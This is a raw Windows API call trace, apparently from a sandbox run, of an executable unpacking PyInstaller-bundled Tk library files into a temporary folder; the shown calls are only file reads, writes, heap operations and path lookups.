lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.896] GetFileType (hFile=0x10c) returned 0x1 [0044.896] htonl (hostlong=0xf83f6000) returned 0x603ff8 [0044.896] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64eff8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.896] htonl (hostlong=0xc8060000) returned 0x6c8 [0044.896] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6c8) returned 0x55e278 [0044.896] htonl (hostlong=0xc8060000) returned 0x6c8 [0044.896] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.897] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.897] htonl (hostlong=0xa70f0000) returned 0xfa7 [0044.897] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfa7) returned 0x562098 [0044.897] htonl (hostlong=0xc8060000) returned 0x6c8 [0044.897] htonl (hostlong=0xa70f0000) returned 0xfa7 [0044.897] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563048 [0044.897] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563048 | out: hHeap=0x530000) returned 1 [0044.897] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.897] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.897] CloseHandle (hObject=0x10c) returned 1 [0044.897] GetLastError () returned 0x0 [0044.897] SetLastError (dwErrCode=0x0) [0044.897] GetLastError () returned 0x0 [0044.897] SetLastError (dwErrCode=0x0) [0044.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.897] GetFileType (hFile=0x10c) returned 0x1 [0044.897] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.897] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.897] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.897] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.898] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.898] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.898] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.898] CloseHandle (hObject=0x10c) returned 1 [0044.898] GetLastError () returned 0x0 [0044.898] SetLastError (dwErrCode=0x0) [0044.898] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.898] GetFileType (hFile=0x10c) returned 0x1 [0044.898] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.898] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.898] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.898] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.898] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.898] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.898] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.898] CloseHandle (hObject=0x10c) returned 1 [0044.898] GetLastError () returned 0x0 [0044.898] SetLastError (dwErrCode=0x0) [0044.898] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\cursors.tcl") returned 64 [0044.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\cursors.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\cursors.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.899] GetLastError () returned 0x2 [0044.899] SetLastError (dwErrCode=0x2) [0044.899] GetLastError () returned 0x2 [0044.899] SetLastError (dwErrCode=0x2) [0044.899] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\cursors.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\cursors.tcl", lpFilePart=0x0) returned 0x3f [0044.899] GetLastError () returned 0x2 [0044.899] SetLastError (dwErrCode=0x2) [0044.899] GetLastError () returned 0x2 [0044.899] SetLastError (dwErrCode=0x2) [0044.899] GetLastError () returned 0x2 [0044.899] SetLastError (dwErrCode=0x2) [0044.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\cursors.tcl") returned 64 [0044.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\cursors.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\cursors.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.899] GetFileType (hFile=0x10c) returned 0x1 [0044.899] htonl (hostlong=0xa70f0000) returned 0xfa7 [0044.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.899] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xfa7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xfa7, lpOverlapped=0x0) returned 1 [0044.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.903] CloseHandle (hObject=0x10c) returned 1 [0044.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.904] htonl (hostlong=0x30000000) returned 0x30 [0044.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.904] GetFileType (hFile=0x10c) returned 0x1 [0044.904] htonl (hostlong=0xc0466000) returned 0x6046c0 [0044.904] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64f6c0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.904] htonl (hostlong=0xcb030000) returned 0x3cb [0044.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3cb) returned 0x550600 [0044.904] htonl (hostlong=0xcb030000) returned 0x3cb [0044.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.904] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.904] htonl (hostlong=0x640e0000) returned 0xe64 [0044.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe64) returned 0x562098 [0044.904] htonl (hostlong=0xcb030000) returned 0x3cb [0044.904] htonl (hostlong=0x640e0000) returned 0xe64 [0044.904] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f08 [0044.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f08 | out: hHeap=0x530000) returned 1 [0044.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.904] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.904] CloseHandle (hObject=0x10c) returned 1 [0044.904] GetLastError () returned 0x0 [0044.905] SetLastError (dwErrCode=0x0) [0044.905] GetLastError () returned 0x0 [0044.905] SetLastError (dwErrCode=0x0) [0044.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.905] GetFileType (hFile=0x10c) returned 0x1 [0044.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.905] CloseHandle (hObject=0x10c) returned 1 [0044.905] GetLastError () returned 0x0 [0044.905] SetLastError (dwErrCode=0x0) [0044.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.905] GetFileType (hFile=0x10c) returned 0x1 [0044.905] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.905] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.905] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.906] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.906] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.906] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.906] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.906] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.906] CloseHandle (hObject=0x10c) returned 1 [0044.906] GetLastError () returned 0x0 [0044.906] SetLastError (dwErrCode=0x0) [0044.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\defaults.tcl") returned 65 [0044.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\defaults.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\defaults.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.906] GetLastError () returned 0x2 [0044.906] SetLastError (dwErrCode=0x2) [0044.906] GetLastError () returned 0x2 [0044.906] SetLastError (dwErrCode=0x2) [0044.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\defaults.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\defaults.tcl", lpFilePart=0x0) returned 0x40 [0044.906] GetLastError () returned 0x2 [0044.906] SetLastError (dwErrCode=0x2) [0044.906] GetLastError () returned 0x2 [0044.906] SetLastError (dwErrCode=0x2) [0044.906] GetLastError () returned 0x2 [0044.906] SetLastError (dwErrCode=0x2) [0044.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\defaults.tcl") returned 65 [0044.906] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.906] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\defaults.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\defaults.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.907] GetFileType (hFile=0x10c) returned 0x1 [0044.907] htonl (hostlong=0x640e0000) returned 0xe64 [0044.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.907] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xe64, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xe64, lpOverlapped=0x0) returned 1 [0044.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.908] CloseHandle (hObject=0x10c) returned 1 [0044.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.908] htonl (hostlong=0x30000000) returned 0x30 [0044.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.908] GetFileType (hFile=0x10c) returned 0x1 [0044.908] htonl (hostlong=0x8b4a6000) returned 0x604a8b [0044.908] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64fa8b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.908] htonl (hostlong=0x91130000) returned 0x1391 [0044.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1391) returned 0x561090 [0044.908] htonl (hostlong=0x91130000) returned 0x1391 [0044.908] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562430 [0044.908] ReadFile (in: hFile=0x10c, lpBuffer=0x562430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562430*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.908] htonl (hostlong=0x143f0000) returned 0x3f14 [0044.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3f14) returned 0x563438 [0044.908] htonl (hostlong=0x91130000) returned 0x1391 [0044.908] htonl (hostlong=0x143f0000) returned 0x3f14 [0044.909] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x567358 [0044.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567358 | out: hHeap=0x530000) returned 1 [0044.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562430 | out: hHeap=0x530000) returned 1 [0044.909] CloseHandle (hObject=0x10c) returned 1 [0044.909] GetLastError () returned 0x0 [0044.909] SetLastError (dwErrCode=0x0) [0044.909] GetLastError () returned 0x0 [0044.909] SetLastError (dwErrCode=0x0) [0044.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.909] GetFileType (hFile=0x10c) returned 0x1 [0044.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.910] CloseHandle (hObject=0x10c) returned 1 [0044.910] GetLastError () returned 0x0 [0044.910] SetLastError (dwErrCode=0x0) [0044.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.910] GetFileType (hFile=0x10c) returned 0x1 [0044.910] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, 